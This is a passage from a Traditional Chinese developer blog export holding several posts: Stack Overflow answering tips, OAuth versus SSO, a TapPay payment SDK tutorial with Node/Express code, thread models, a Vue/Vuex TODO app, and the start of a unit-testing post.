這種這邊的問題就相對比較麻煩, 因為如果沒有實際使用過很難回答但有些問題是可以透過查詢官方文件就能夠回答的問題 案例一有個問題是 NodeJS cloudinary search API by context 關於 cloudinary 的 API實際上筆者也沒有串過, 於是特別為了這個問題去申請帳號去測試但有趣的是, 在文件上和使用方法上, 真的沒有一個可以達到這個人的目的我還特地去翻 Node.js SDK source code 看官方怎麼寫和最後 API 怎麼打的但當下真的沒有找到, 隔了一兩天去估狗才找到真正的用法而且這用法的教學, 還是在 Stack Overflow 上面發現的 XD才知道原來是這種用法官方文件沒有特別標註起來, 所以很難發現使用方法 案例二另一個問題是關於 AWS AmplifyExpressJS using EJS fail to load static assets when deployed on AWS Amplify但不巧的是, 筆者也沒有用過, 所以一開始回答是針對他的資料夾結構去判斷哪裡可能出了問題到後面透過 comment 一問一答, 才發現原來他想要的是 serverless 的架構而我一去查才發現 Amplify 其實是沒辦法達到他 express + ejs 的需求其實在 Amplify faqs 裡面, 有詳細的講到 Amplify 是適用於哪一種服務這裡筆者犯了一個小錯誤, 其實應該要先看 Amplify 適用於哪一種服務, 就可以在第一次回答解決他的問題了 若是真的有 express + ejs 解決方案也歡迎分享給我 案例三 這個是關於 express + pug 的使用方式Trying to iterate over JSON in Pug but keep getting length error發問者雖然有看文件, 但看的地方卻看錯了因為他給的範例程式碼有用到 app.get 所以應該是要搭配 express但他卻說他用 cli 去 render pug 頁面, 這樣就跟他給的程式碼有所衝突這就回答他該怎樣一步一步做去正確做到其實很多文件的 Getting Started 都寫得很清楚, 只要從 Getting Started 開始看基本上都是能用的像這個 pug 的官方文件的 Getting Started 就有提到要安裝 express只是它可能沒有一步一步的去說明, 導致有些初學者會搞混使用方法 資料結構這類型問題大多是從某個資料結構要轉成另一個資料結構但發問者可能不知道怎麼轉比較好 下面就是處理資料結構轉換的相關問題, 都是蠻單純的轉換 Merging objects from array with the same key value How to merge two array and sum their value? How could I separate each JSON object and group them to an array in JavaScript? 這類型的題目很有趣, 可以看到很多人一起回覆每個人的寫法都會很不一樣, 有點像是另類的 LeetCode有趣的是, 上面的人回答大部分很喜歡用 reduce 去回答有可能是倖存者偏差, 剛好那些問題都是很適合用 reduce 去解答(?而且每次我一按送出, 瞬間就會多出其他 2-3 個答案, 根本就搶答案大賽 XD 另外有些人寫法會用那種 one-line program 去回答不過個人很不喜歡 one-line program雖然使用上方便, 但到最後扯到維護或是接手的人能不能看得懂 code 又是另一回事除非不會有人接手一次性專案, 那就可以考慮看看了 XD這類型回答我都會偏向寫的比較通俗易懂和避免時間空間複雜度太高的問題寫扣簡單, 寫出大家都看得懂的扣才是高手 XD 原理原理指的是程式運行的原理, 這跟語言特性也會有相關性但因為問的問題是屬於應用類性, 並不算語言特性那因為原理不了解導致應用錯誤, 所以就歸類在此類 案例一接著是 sending POST request to express route - after receiving form data, res.render is not triggered這就是對於 Ajax 和 Form submit 機制的不熟悉值得一提的是, 還好他內容有寫一句話 (through fetch) 不然我可能會很難回答他的問題有興趣可以看看原本的內文, 而這篇的回答, 改天有時間再寫另一篇文章起來 案例二接著是 vue + express 組合的運行問題When express and vue js are connected, the default address is accessed一般來說寫 vue 比較難跟 express 扯上關係但如果要用 express 去 hosting vue 的東西, 但又要保留原本 exprss api 甚至 ejs/pug redner 機制的話這會需要額外的調整, 但在調整之前要先了解請求進來後怎麼運行的才有辦法設定所以針對這個問題去解釋整個原理, 而這篇的回答也會在挑個時間寫成一篇文章 案例三再來是 express + csurf 的問題CSRF doesn’t work on the first post attempt這個題目其實蠻有趣的, 花了我一點時間研究才發現, 原來是 csurf 本身這個套件 bug 導致這個問題的 (cookie 模式下)這會歸類在原理的原因是, 這問題牽涉到的是 csurf 底層實作的原理有關只是後來這個發問者是透過把 cookie 模式改成 session 模式去避免掉這問題並把原因歸咎在 session 跟 cookie 一起使用後導致的結果, 但實際上不是這樣單純只是 csurf 底層實作機制導致的 bug 而已 個人還蠻喜歡回答這類型的題目一來是重新省思自己有沒有真的了解原理二來是要用淺顯易懂以及舉例的方式去說明原理 不精準提問不精準提問指的是問問題的人沒有適當的表達想要的東西以及為什麼要這樣做又或是沒有提供相對應的資訊又或是本身問題方向就已經偏了 以上狀況都可能導致回答問題的時候, 沒有辦法短時間內成功回覆必須透過長時間一來一往的 comment 才能找到問題本質下面案例會看到問問題的人都會被 downvote, 可見在別人看來這問題不是很好 (我是都沒有 downvote 別人拉 XD) 案例一Vanilla JS Unexpected token A in JSON at position 141 json.parse()題目是問 JSON.parse 的問題, 但其實他不是要問這個他真正想做的是要比對使用者點擊的文字和儲存的資料是否一至這件事並且要正確顯示 " 這個符號在頁面上導致讓我第一次的回答沒有回答到他想要的結果上因為他真正的目的是別件事, 並不是問題所描述的 案例二再來原本的題目是 How to use esprima? (Or how to insall a nodejs module?)看了他提出的問題發現他是用 npm install -g esprima 去裝模組導致他執行的那個 js 讀取不到, 資料架底下的 node_modules 然後就跟他說不能用 -g 去裝結果他回答卻是說, 他希望裝一次就好, 然後任何地方都要可以使用經過這樣確認後, 就知道他的問題應該是如何 require global module所以最後他就把題目改成『How to use a global nodejs module?』所以這也是一樣, 並不知道他是為了什麼而想要做這件事情, 文章內容也沒有特別提到導致第一次回答不是他要的 案例三再來是本身問問題方向就稍微有點錯誤, 但我還是嘗試通靈去解答, 結果還真的被矇對Changing JSON values with fetch他的問題是用了 fetch api 之後, 原本用 archive: true 狀態沒有更改, 但用了 read: true 卻可以這其實很困惑, 因為也不知道是改資料庫內容還是改了什麼內容但幸好他有提供一段使用 fetch api 的程式碼, 一看發現程式碼放的位置不是在 then 裡面所以是因為還沒等到 server response 就直接呼叫其他 function, 導致看起來狀態沒有更改到這種就屬於資料提供不完整 如何問好問題所以問問題真的是一種技巧, 要在問問題前要先做兩件事情 先 Google 過, 中英文都要 有時候關鍵字不同查到東西也不一樣 特別是中英文的關鍵字 翻翻官方文件, 大部分的官方文件其實都會提到一些細節甚至到理論 先去官方文件走一趟也是一種方式 接著才是到真正問問題的地方, 注意以下幾點, 才不會造成無謂的一來一往而浪費時間 明確告訴別人你『為什麼』想做這件事情, 不要成為 X-Y 問題者 除了為什麼, 也要告知別人『預期想要結果是什麼』 已經試過哪一些 solutions, 以及目前得到的結果是什麼 先提過試過的 solution 以及明確得到的結果, 回答問題的人比較能夠知道問題出在哪 盡力準備足夠的資訊, 並在問問題的時候一併附上 但有些事是真的很難確定要提供什麼資訊上去才真正有用 這個就需要一點經驗去判斷, 大體來說是什麼樣的資料會影響到你目前的流程 就可以把相對的資料提供上去好讓別人參考 但要注意, 不要一股腦地全部就貼上去, 貼『重點』就好 不管是文字或是當面問問題, 需要把問題順過一次, 以邏輯最清楚的方式去問別人 不過文字的部分, 一定要注重排版, 例如說程式把一定要用 code block 去弄 若是直接貼純文字版本, 看的人也會很痛苦 問問題的人是有責任讓要回答的人看得舒服且清楚的 (個人經驗 最最最最重要的一點, 一定要有禮貌 但不是說直接把程式碼丟上去, 其他內容也沒打詳細 然後最後留一個謝謝, 這樣不叫做禮貌喔 XD 而回答問題的人, 其實也是需要技巧當回答問題的時候, 有些地方可能想要確認, 所以會經過一來一往的討論此時是要問對問題才能引導發問者到正確的癥結點進而找到問題點","link":"/2020/12/01/stackoverflow-experience/"},{"title":"OAuth 是什麼? 跟 SSO 有什麼關係或差別?","text":"前言OAuth 和 Single Sign On (SSO) 的概念不仔細研讀, 還真的不好分出這之間的差別這篇會針對它們之間的差別進行解釋 正文我們先看看 RFC 上面對於 OAuth 以及 SSO 的解釋是什麼 (擷取部分內容) OAuthOAuth 1.0 和 OAuth 2.0 的本質解決的問題上是一樣的但在對角色和細節流程上面的定義不大一樣這會到 OAuth 2.0 實作的文章時稍微提到一些大體差別 這邊就針對 OAuth 2.0 去進行簡單介紹在 RFC 上面對於 OAuth 2.0 的定義如下 The OAuth 2.0 authorization framework enables a third-partyapplication to obtain limited access to an HTTP service, either onbehalf of a resource owner by orchestrating an approval interactionbetween the resource owner and the HTTP service, or by allowing thethird-party application to obtain access on its own behalf. 簡單來說, OAuth 能夠讓第三方應用程式去取得使用者的資料舉例來說就是 Google 製作了 OAuth 服務讓 PChome (第三方) 能夠取得使用者在 Google 上面的資料 這邊有三個重要的地方 authorization (授權) third-party application (第三方應用程式) approval interaction between the resource owner and the HTTP service Authorization 是一種授權的概念, 也就是當你登入成功之後, 你被賦予了可以使用多少服務的權限所以 OAuth 是一種授權框架, 它可以授權其它第三方應用程式取得使用者資料當然還是要經過使用者允許之後 (approval interaction), 才會授權給第三方取得使用者的資料 這在 OAuth 1.0 以及 OAuth 2.0 裡面都是一樣的 SSO在 RFC 上面對於 SSO 的定義蠻有趣的, 它是直接給例子 XD Bob has an account in an application hosted by a cloud serviceprovider SomeCSP. SomeCSP has federated its user identities with acloud service provider AnotherCSP. Bob requests a service from anapplication running on AnotherCSP. The application running onAnotherCSP, relying on Bob’s authentication by SomeCSP and usingidentity information provided by SomeCSP, serves Bob’s request. 簡單翻譯一下, Bob 有一組帳號密碼是在 SomeCSP 這個服務底下此時 Bob 使用一個在 AnotherCSP 服務底下的應用程式這個應用程式要透過 SomeCSP 去認證此使用者的身份接著才能使用 SomeCSP 提供的身份資料去服務 Bob 夠冗長了吧 XD這邊就在幫它簡化一下, 也就是說 Bob 想要使用 AnotherCSP 的服務時必須先透過 SomeCSP 進行登入認證才能使用 這裡有一個重點, 就是 authentication (認證)當你拿著帳號密碼來登入的時候, 此時就是在做認證, 確認是不是真的是你 小總結這兩個東西的重點是不一樣的, 一個在於授權, 一個在於認證 OAuth 是一種授權框架, 而不是認證框架SSO 是一種認證的方式, 而不是授權的方式 認證: 使用者拿著帳號密碼去登入網站, 這叫做認證授權: 使用者登入後, 開始依照本身的權限去操作, 這叫做授權 [2023-02-14 Update]這邊補充一下,SSO 強調的是一種概念,SSO 實作方式有很多種例如之前分享的 CAS 和 iframe & cookie其實 OAuth 也是實作 SSO 的一種方式,就像在 OAuth 例子最後一段中提到的 舉例接著我們用更貼近生活的例子再次解釋一次這兩種概念 SSO 例子今天我在 Google 日曆登入我的帳號但使用完日曆之後, 我想先去收個 Gmail, 這時候會發現我並不用重新登入, 而是可以直接使用 Gmail原因是這兩個服務的帳號密碼其實是一樣, 再透過 Google 的 cookie-session 機制能夠讓我不需要重新登入 OAuth 例子今天我在 Pchome 購物, 發現一台 Mac 很想買於是我點下登入按鈕, 發現跳出可以用 Facebook or Line or Google 登入那因為常用 Google, 所以我選擇用 Google 登入此時我就被導入到 Google 的登入頁面輸入帳號密碼認證完成之後, 我被導回 PChome 後就發現我有會員的身份, 然後就開開心心的買完東西 接著隔天我在 Yahoo 購物, 發現 magic keyboard 比 PChome 更便宜於是我在 Yahoo 按下登入按鈕, 發現又跳出可以用 Facebook or Line or Google 登入我一樣選擇用 Google 登入, 但因為昨天我早就登入過了, 所以今天我不用重新輸入帳號密碼只要在 Google 頁面按下 Approve 確認, 就被導入 Yahoo然後發現我有會員的身份, 然後開開心心的買完東西 上面流程會發現一件事情, 我們只用了一個帳號就可以使用 Yahoo 和 PChome 的服務這個狀況很像剛剛 SSO 提到的, 我登入後使用 A 服務, 再次使用服務 B 時, 是不用重新登入 但這裡有一個小小的差別請注意, 當我們在登入後使用 Google Calander 後, 再去使用 Gmail 的時候Google 不會叫你重新按下 Approve 才能使用 Gmail, 而是直接跳到 Gmail 的頁面讓你用 但在 PChome 和 Yahoo 的狀況下當我按下 Google 登入按鈕, 我一定都會被導轉到 Google 登入頁面去按下 Approve 或輸入帳密這裡就是一開始提到的 approval interaction 的部分 這是一個 OAuth 的核心地方, 也就是授權 PChome 和 Yahoo 可以存取我的 Google 資料所以在 PChome 和 Yahoo 按下 Googe 登入回來後, 會發現我的 email 已經在它們裡面 但也會有另一個疑問出現, 那為什麼我在 Google 登入後我從 PChome 和 Yahoo 按下 Goolge 登入, 我不需要輸入帳密, 只需要按下 Approve 呢? 其實這原因很單純, 在使用 Facebook 網頁的時候, 你今天看完, 隔天再看, 是不需要重新登入這就是透過 cookie-session 的機制達到, 但這跟 OAuth 並無太大相關性 只是 OAuth 還有一個特性當我使用其他購物網站, 繼續使用 Google 登入的時候這樣 … 我是不是只要記得 Google 的帳號密碼, 其他購物網站其實都不用紀錄?也就代表, 我使用其他購物網站, 我都不需要重新輸入帳號密碼就能登入了 沒錯, 其實透過 OAuth 也能達到 SSO但前提是如果全世界的人都用 Google OAuth 的時候, 的確只要一組帳號密碼就能登入所有服務 所以其實 OAuth 和 SSO 的概念某方面其實是算相近, 所以這也是常常被搞混的其中一點 後記寫一寫才發現, 這篇應該當第一篇才對 XD References https://tools.ietf.org/html/rfc6749#section-1 https://tools.ietf.org/html/rfc7642#section-3.2 OAuth与SSO、REST有哪些区别与联系","link":"/2020/04/13/sso-vs-oauth/"},{"title":"TapPay Web SDK 串接 - @types/tpdirect 介紹","text":"前言非常非常久以前寫過一篇 TapPay 串接的文章但可惜的是 TapPay 沒有前端 npm 套件可以下載使用所以在串接前端的其實都不會有智能提示跳出來, 其實有點不方便於是就弄了一個 @types/tpdirect 在還沒使用 @types 之前就像下圖在寫 code 的時候是不會跳出任何提示這在撰寫程式起來其實是非常不方便的 但由於 sdk 沒有 npm 可以下載, 但是定義檔這東西是可以自己做的於是筆者就做了一個定義檔發到 @types/tpdirect 用法先透過 npm install @types/tpdirect --save-dev 下載定義檔那這個 @types 帶來的好處是什麼?我們就直接上圖先來看結果吧!(此兩圖皆為在 vue script tag 下寫的) 沒錯, 透過定義檔在寫 JS 的時候, 就會有提示可以跳出來目前筆者在 vue, react, ts 以及純 js 裡面都是可以用的但環境的話, 目前是只有在 vscode 進行測試過不太確定其他 IDE 也能不能吃 那 vscode 有一個快捷鍵式 command + i (mac command / windows control)假設在針對 function 要帶入的參數時, 只要先寫好 {} 並把鼠標停留在裡面接著按下 command + i 就可以跳出提示現在還剩幾個參數要帶入, 效果如下圖 但要注意的是, 裡面屬性和方法皆是由定義檔產生出來的並不是根據 SDK 本身擁有的屬性和方法出現的定義檔萬一定義 methodA, 但實際 SDK 是叫做 methoda結果寫程式的時候, 因為提示跳了 methodA, 於是寫了 methodA這樣等到實際執行的時候就會爆出錯誤說找不到 methodA因為實際 SDK 擁有的方法是 methoda 後記透過這種方式寫扣, 就可以很快地寫完但這種定義檔不是官方提供的, 還是得看有沒有其他人持續在維護那因為受惠 @types 蠻多的, 於是就起頭先建立一個希望這能幫到其他人","link":"/2020/12/12/tappay-payment-2/"},{"title":"如何串接上 TapPay 並完成第一筆交易!","text":"[Update 2020-12-12] TapPay Web SDK 串接 - @types/tpdirect 介紹 這篇文章主要是說明如何使用 TapPay 這個服務TapPay 是一家金流廠商,主要都是做線上金流,詳細就不多說有興趣想要詳細了解可以去參考官網 https://www.tappaysdk.com 最近剛好被派去串接 TapPay 的服務,就順便把整個流程給記錄下來了這邊會以 Web 服務為主去做範例,完整程式碼,請參考最下面 環境設置 TapPay Portal 申請 要拿到以下的值才有辦法作後續的付款 App Key (應用程式頁面) App ID (應用程式頁面) Partner Key (帳號資訊頁面) Merchant ID (商家管理頁面) 程式部分 前端: HTML + Javascript + CSS 後端: nodejs (v6) 網域部分 設置 /etc/hosts這邊要特別注意,要去 /etc/hots 底下設置跟在 TapPay Portal 所建立的 domain 一樣才有辦法 Get Prim,否則會一直出現 CORS 的問題待會在細部流程的時候會做介紹 測試卡號 測試卡號可以參考這裡 https://docs.tappaysdk.com/tutorial/zh/reference.html#test-card card number 4242424242424242 month 01 year 23 ccv 123 流程介紹主要分成以下幾個步驟 前端 使用 TapPay SDK 設置好輸入卡號的表單 按下按鈕觸發 TapPay 的 GetPrime 方法 拿到 Prime 把 Prime 送到後端 後端 拿到前端送來的 Prime 把 Prime 加上其他所需參數送往 TapPay Server 完成付款! 程式撰寫 - 前端根據最新的 SDK 發佈的方法, 可以直接在一個 element 底下把卡號輸入表單塞進去 HTMLHTML 分成兩個部分 建立好一個 div 準備等等被塞入輸入卡號表單 建立好 trigger button 來觸發 Get Prime 方法 123456789<div style=\"width: 480px; margin: 50px auto;\"> <label>CardView</label> <!-- 這是我們要塞表單的地方 --> <div id=\"cardview-container\"></div> <!-- 這是我們要觸發 GetPrime 方法的地方 --> <button id=\"submit-button\" onclick=\"onClick()\">Get Prime</button></div> JavascriptJavascript 分成三個部分 初始化金鑰 植入輸入卡號表單 觸發 getPrime 方法 12345678910111213141516171819// 設置好等等 GetPrime 所需要的金鑰TPDirect.setupSDK(APP_ID, \"APP_KEY\", \"sandbox\") // 把 TapPay 內建輸入卡號的表單給植入到 div 中TPDirect.card.setup('#cardview-container')var submitButton = document.querySelector('#submit-button')function onClick() { // 讓 button click 之後觸發 getPrime 方法 TPDirect.card.getPrime(function (result) { if (result.status !== 0) { console.err('getPrime 錯誤') return } var prime = result.card.prime alert('getPrime 成功: ' + prime) })} 沒錯!你沒看錯,不到 30 行但是,這邊要注意到一個地方,如果你 Get Prime 之後沒有任何反應打開開發者模式後卻看到了這個getPrime 錯誤題外話,如果並不使用 TPDirect.card.setup 版本的話而是自己實作整個流程,則會看到 CORS 的紅字 這個代表你開發的網域和你在 TapPay Portal 上面所填寫的網域是不一樣的這就是一開始在環境設置提到的 /etc/hosts 有關係 假設你未來可能要使用的網域是 example-tappay.yujack.com 的話請到 /etc/hosts localhost 下面加上一段 12127.0.0.1 localhost127.0.0.1 example-tappay.yujack.com 然後回到網頁上把 URL 從http://localhost:8080/ 改成 http://example-tappay.yujack.com:8080/這樣 Get Prime 就會成功了! 不過要注意,如果你未來要用的網域是已經在用的話在 /etc/hosts 底下是上去是沒有用的所以切記用一個沒在用的網域做測試否則 .. 你只好直接部署上去測試了 程式撰寫 - 後端小弟我是習慣用 nodejs 撰寫後端伺服器所以這邊會以 nodejs 去做付款的動作前端 Get Prime 成功之後, 就要把這組 prime 送到後端了 建立 NodeJs server12345678910111213141516171819const express = require('express')const app = express()const bodyParser = require('body-parser')const https = require('https');const PORT = 8080app.use(bodyParser.json())app.use(bodyParser.urlencoded({ extended: false}))app.use('/', express.static(__dirname + \"/html\")) //serve static contentapp.post('/pay-by-prime', (req, res, next) => { // 必須要把程式實作在這邊})app.listen(PORT, () => { console.log('Connet your webiste in the http://localhost:8080/');}) 實作 Pay by Prime接下來要實作 pay-by-prime 的程式要加到 app.post(‘/pay-by-prime’) 裡面這裡有兩個參數要注意兩個都是在 TapPay Portal 上面申請帳號時會獲得的,程式如下 Partner Key (帳號資訊頁面) Merchant ID (商家管理頁面) 另外就是 headers 裡面要特別帶 x-api-key 進去否則會收到 access deny 的 response 可以參考 https://docs.tappaysdk.com/tutorial/zh/back.html#pay-by-prime-api所需要帶的參數和 headers 12345678910111213141516171819202122232425262728293031323334353637383940const post_data = { // prime from front-end \"prime\": req.body.prime, \"partner_key\": \"PARTNER_KEY\", \"merchant_id\": \"MERCHANT_ID\", \"amount\": 1, \"currency\": \"TWD\", \"details\": \"An apple and a pen.\", \"cardholder\": { \"phone_number\": \"+886923456789\", \"name\": \"yujack\", \"email\": \"example@gmail.com\" }, \"instalment\": 0, \"remember\": false}const post_options = { host: 'sandbox.tappaysdk.com', port: 443, path: '/tpc/payment/pay-by-prime', method: 'POST', headers: { 'Content-Type': 'application/json', // 這個參數必須要帶上去,否則不會過 'x-api-key': 'PARTNER_KEY' }}const post_req = https.request(post_options, function(response) { response.setEncoding('utf8'); response.on('data', function (body) { return res.json({ result: JSON.parse(body) }) });});post_req.write(JSON.stringify(post_data));post_req.end(); 實作完成後,開啟 nodejs server然後打上測試卡後就可以完成付款了!打完收工!下班去! 前端補正記得前端要補上把 prime 帶上來的程式123$.post('/pay-by-prime', {prime: prime}, function(data) { alert('付款成功' + JSON.stringify(data))}) 完整程式碼資料夾結構12345||--- app.js||----html| |---index.html 前端1234567891011121314151617181920212223242526272829303132333435363738394041424344454647<!DOCTYPE html><html lang=\"en\"><head> <meta charset=\"UTF-8\"> <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"> <meta http-equiv=\"X-UA-Compatible\" content=\"ie=edge\"> <script text=\"text/javascript\" src=\"https://js.tappaysdk.com/tpdirect/v2_2_1\"></script> <script src=\"https://code.jquery.com/jquery-2.2.4.min.js\"></script> <title>Connect payment with TapPay</title></head><body> <div style=\"width: 480px; margin: 50px auto;\"> <label>CardView</label> <div id=\"cardview-container\"></div> <button id=\"submit-button\" onclick=\"onClick()\">Get Prime</button> <pre id=\"result1\"></pre> <pre id=\"result2\"></pre> </div> <script> TPDirect.setupSDK(APP_ID, 'APP_KEY', 'sandbox') TPDirect.card.setup('#cardview-container') var submitButton = document.querySelector('#submit-button') var cardViewContainer = document.querySelector('#cardview-container') function onClick() { TPDirect.card.getPrime(function (result) { if (result.status !== 0) { console.log('getPrime 錯誤') return } alert('getPrime 成功') var prime = result.card.prime document.querySelector('#result1').innerHTML = JSON.stringify(result, null, 4) $.post('/pay-by-prime', {prime: prime}, function(data) { alert('付款成功') document.querySelector('#result2').innerHTML = JSON.stringify(data, null, 4) }) }) } </script></body></html> 後端記得先執行以下 command1npm install body-parser express 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556const express = require('express')const app = express()const bodyParser = require('body-parser')const https = require('https');const PORT = 8080app.use(bodyParser.json())app.use(bodyParser.urlencoded({ extended: false}))app.use('/', express.static(__dirname + \"/html\")) //serve static contentapp.post('/pay-by-prime', (req, res, next) => { const post_data = { \"prime\": req.body.prime, \"partner_key\": \"PARTNER_KEY\", \"merchant_id\": \"MERCHANT_ID\", \"amount\": 1, \"currency\": \"TWD\", \"details\": \"An apple and a pen.\", \"cardholder\": { \"phone_number\": \"+886923456789\", \"name\": \"jack\", \"email\": \"example@gmail.com\" }, \"remember\": false } const post_options = { host: 'sandbox.tappaysdk.com', port: 443, path: '/tpc/payment/pay-by-prime', method: 'POST', headers: { 'Content-Type': 'application/json', 'x-api-key': 'PARTNER_KEY' } } const post_req = https.request(post_options, function(response) { response.setEncoding('utf8'); response.on('data', function (body) { return res.json({ result: JSON.parse(body) }) }); }); post_req.write(JSON.stringify(post_data)); post_req.end();})app.listen(PORT, () => { console.log('Connet your webiste in the http://localhost:8080/');})","link":"/2017/09/23/tappay-payment/"},{"title":"Thread Model 介紹","text":"介紹在學習各個語言底層如何去操作 Thread 時都會看到一個名詞 Thread Model也就是不同語言開 Thread 的方式都不太一樣舉例來說, 會看到某些文章寫出以下類似的結果 1234Ruby 1.8 1:N, aka Green threadsJava 8 1:1, 但某個版本之前都是使用 1:NRuby 1.9 1:1, 但使用 GILGo 1.1 M:N, 確切說 M:P:N 比較好, 但這邊先讓我用 M:N 而這 1:1 1:N M:N 代表什麼意思呢?而 Go 裡面提到的 M:P:N 又是什麼鬼呢? User space & Kernal space在往下講之前, 我們必須先談談作業系統的一個特點在整個作業系統中的虛擬記憶體空間被區分成兩塊區分這兩塊是記憶體保護機制的一環 User space 我們常使用的軟體, 例如瀏覽器, 甚至是 bash command 也屬於這一環 Kernal space 能呼叫系統一切的資源, 例如 file system, network 等等 而在 User space 的程式是不允許直接對 Kernal space 的資料做存取所以在我們使用的軟體上要能夠建立檔案或是發出網路請求往往是透過 system call 到 Kernal space 要求更高的權限進而去完成功能 這都是為了不讓在 User space 的程式惡意亂搞 Kernal space 的資料像是 User space 的程式故意佔著大量 CPU 資源不放或是更改作業系統架構等等 可以把以上的情況想像成下面的情境 作業系統很像一個國度, 此國度是採取國王制度國王掌握了核心的權利, 包含分配食衣住行等等權利國王希望保護全體住民於是安排一個騎士保護一個住民的方式還是安排一個騎士保護多個住民的方式依據不同情竟有不同好壞 這概念也是待會講 Thread Model 時會提到 Thread Model依照上面定義的兩種 space, Thread 也會被切成兩種形式 User-Space Thread 在應用程式中創建 Thread, 而這個創建並不是透過 system call 去建立的 所以這裡的 Thread 並不是指 OS 實際執行的 Thread 而是透過操作 stack pointer 讓 OS 實際執行的 Thread 去執行指定的 User-Space Thread 通常 OS 是不知道 User-Space Thread 的存在, 所以透過 ps 指令是看不到的 換句話說, User-Space Thread 是交由應用程式去管理, 並不是交給 OS 管理 Kernal-Space Thread 一個執行中的程式就被稱為 Process 而每一個 Process 都有一個實際的執行者, 也就是 Kernal Thread Kernal Thread 則是 CPU 執行的最小單位, 這些 Thread 都會交由 OS 去管理 講到這裡一定會對於如何實作 User-Space Thread 感到疑惑建議可以看這個 Repo, 這是明尼蘇達大學出過的一個作業要實作 User-Space Thead library, 裡面有比較簡化版本的程式可以看看通常是會用到 setjmp/longjmp, signal 這兩種方式詳細可以看看這篇文章有簡單實作切換 User-Space Thread 的機制 但要注意的是常常會有叫做 Pthread 的東西出現在 Thread 相關文章之中它只是一種規格定義, 可以提供給 User-Space / Kernal-Space 去實作但在搜集資料過程中, 有些文章都把 Pthread 定義成在 User-Space 的範疇了若要確認文章說的 Pthread 是哪個部分, 就必須看上下文才知道 這種 User-Space Thread 就是只存在於 User-Space, 不會透過 system call 去建立 Kernal Thread但帶來的問題就會是, 一般來說一個 Process 中實際執行的 Kernal Thread 只有一個萬一 User-Space Thread 被 block 的話, 整個 Kernal Thread 也會被 block 接著進入正題來開始介紹各種不同 Thread Model下面寫法都是按照 Kernal-Space Thread - User-Space Thread 順序寫的 1-N (one to many) 實際執行程式的 Kernal Thread 只會有一個所以當有一個 User-Space Thread 中有被 blocked 的情況, 程式就完全沒辦法執行了因為分給此 Process 的 Kernal Thread 就只有一個 1:1 (one to one) 一樣會發生當有條 Thread 被 blocked 的話, 那條 Thread 會卡住但程式依舊可以運行, 因為 Thread 之間是不會互相影影響的 以 Java 來說就是經典的 1:1 的模式配合 spring + tomcat 的話, 就是一個請求進來一個 Thread看似不錯, 但當 Thread 開太多的時候也是會造成系統處理效能降低 M:N (many to many) 而顏色同樣的代表是被 Kernal Thread Schedule 安排下的 Thread 去處理可以看到實際上 Kernal Thread 會有三條其中有一條 Thread 1 處理完 C 之後再去處理 D 但這圖上的 M:N 也只是簡易版本的安排方式, 還是會有一些問題存在所以會有一些變形像是 Golang 中 goroutine 的實作方式, 就優化成 M:P:N 的方式處理詳細可以參考 Java’s Thread model and Golang Goroutine 或是 The Go scheduler 後記關於 Thread / Process 相關的文章其實已經很多了這邊就是以個人特別關注的角度把它寫成一篇文章另外對於 User-Space Thread 實作還蠻感興趣的之後有機會再來試著實作看看 References Wiki - User Space Wiki - Green threads Wiki - Thread(computing)) What are threads (user/kernal) Concurrent Programming with Ruby and Tuple Spaces 第七天 Thread(執行緒)–下","link":"/2021/07/15/thread-model/"},{"title":"TODO - vue + vuex + vue-router","text":"這篇文章主要在記錄如何用 vue + vuex + vue-router做出一個簡單的 TODO List 專案DEMO 網站Source Code 先來訂一個 TODO List 的簡單需求表 能夠輸入項目 能夠打勾確認完成 能夠刪除項目 能夠選擇顯示全部, 未完成, 完成的項目 程式部分則會分為一個 vuex store 和三個 components 專門控管資料的 store 輸入項目 component 顯示項目 compoent 選擇完成狀態的 component 專門控管資料的 storestore.js12345678910111213141516171819202122232425262728293031import Vue from 'vue';import Vuex from 'vuex';Vue.use(Vuex)const store = new Vuex.Store({ state: { lists: [], status: '', // 去更新要顯示什麼狀態的項目 counter: 0 // 當作 increment id 用 }, // 宣告可以更改的方式 mutations: { addItem (state, new_item) { state.counter += 1 new_item.id = state.counter state.lists.push(new_item) }, changeStatus(state, id) { state.lists = state.lists.map((list) => { if (list.id === id) list.is_completed = !list.is_completed return list }) }, deleteItem(state, id) { state.lists = state.lists.filter((list) => { if (list.id === id) return false; return true; }) } }})export default store; 輸入項目 componenttodo-input.vue12345678<div> <form class=\"ui form\" @submit.prevent=\"submit\"> <div class=\"field\"> <label for=\"\">List</label> <input type=\"text\" v-model=\"item\"> </div> </form></div> 12345678910111213141516export default { data() { return { item: '' } }, methods: { submit() { this.$store.commit('addItem', { name: this.item, is_completed: false }) this.item = '' } }} 顯示項目 componenttodo-item.vue1234567891011121314151617181920212223242526272829303132<div> <table class=\"ui table stackable fixed\"> <thead> <tr> <th colspan=\"3\">Item</th> </tr> </thead> <tbody> <tr v-for=\"(list, index) in lists\"> <td :class=\"{completed: list.is_completed}\"> {{list.name}} </td> <td> <!-- 綁定 done method, 並傳入 id 去做勾選完成--> <button class=\"ui icon inverted green button\" @click=\"done(list.id)\"> <i v-if=\"list.is_completed === false\" class=\"checkmark icon\"></i> <i v-else class=\"reply icon\"></i> </button> </td> <td> <!-- 綁定 remove method, 並傳入 id 去做刪除 --> <button class=\"ui icon inverted red button\" @click=\"remove(list.id)\"> <i class=\"trash icon\"></i> </button> </td> </tr> </tbody> </table></div><style scoped lang=\"css\">.completed { text-decoration: line-through}</style> 123456789101112131415161718export default { computed: { status () { return this.$store.state.status }, lists() { return this.$store.getters.filtered_list } }, methods: { remove(id) { this.$store.commit('deleteItem', id) }, done(id) { this.$store.commit('changeStatus', id) } }} 選擇完成狀態的 coomponenttodo-display.vue1234567<div> <select class=\"ui dropdown\" v-model=\"status\"> <option value=\"\">Show All</option> <option value=\"done\" selected>Show Done</option> <option value=\"nondone\">Show None-done</option> </select></div> 123456789101112export default { computed: { status: { get () { return this.$store.state.status }, set (value) { this.$store.commit('setFilter', value) } } }}","link":"/2017/09/23/todo-vue/"},{"title":"Unit Test 實踐守則 (二) - 如何從什麼層面去思考一個好的 Unit Test?","text":"前言上一篇我們會討論到什麼 Unit Test 定義是什麼, 涵蓋的範圍又是哪些?接著我們會討論到 如何從什麼層面去思考一個好的 Unit Test? 這篇著重於在心法, 也就是先思考我們要的 Unit Test 要有什麼樣的效果透過瞭解這些效果之後, 再來制定想要的組合每個人認為好的 Unit Test 可能都不一樣但這邊就以書中內容去介紹什麼是一個好的 Unit Test 什麼是一個好的 Unit Test?書中對好的 Unit Test 目標定義有三個 可以被整合在開發流程中 專注在最重要的程式 